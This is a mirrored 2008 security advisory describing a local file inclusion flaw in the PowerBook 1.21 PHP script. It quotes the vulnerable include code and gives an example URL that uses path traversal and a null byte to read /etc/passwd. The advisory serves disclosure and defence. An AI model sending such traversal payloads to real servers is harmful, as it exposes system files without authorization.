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securityvulnsSecurityvulnsSECURITYVULNS:DOC:19489
HistoryMar 24, 2008 - 12:00 a.m.

[DSECRG-08-019] LFI in PowerBook 1.21

2008-03-2400:00:00
vulners.com
17

Hello, bugtraq.

[DSECRG-08-031] Digital Security Research Group [DSecRG] Advisory

Application: PowerBook
Versions Affected: 1.21
Vendor URL: http://www.powerscripts.org/
Bug: Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: …2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description


Local File Include vulnerability found in script pb_inc/admincenter/index.php

Non-authentication user can directly access to this script.

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.

Code


#################################################

if (!$page) {
$page = "home";
}

$page .= ".inc.php";

if(file_exists($page) == false) {
echo "
<div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>
";
} else {
include("$page");
}

#################################################

Example:

http://[server]/[installdir]/pb_inc/admincenter/index.php?page=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

About


Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration
testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports,
advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)


Alexandr Polyakov
DIGITAL SECURITY RESEARCH GROUP

                   mailto:[email protected]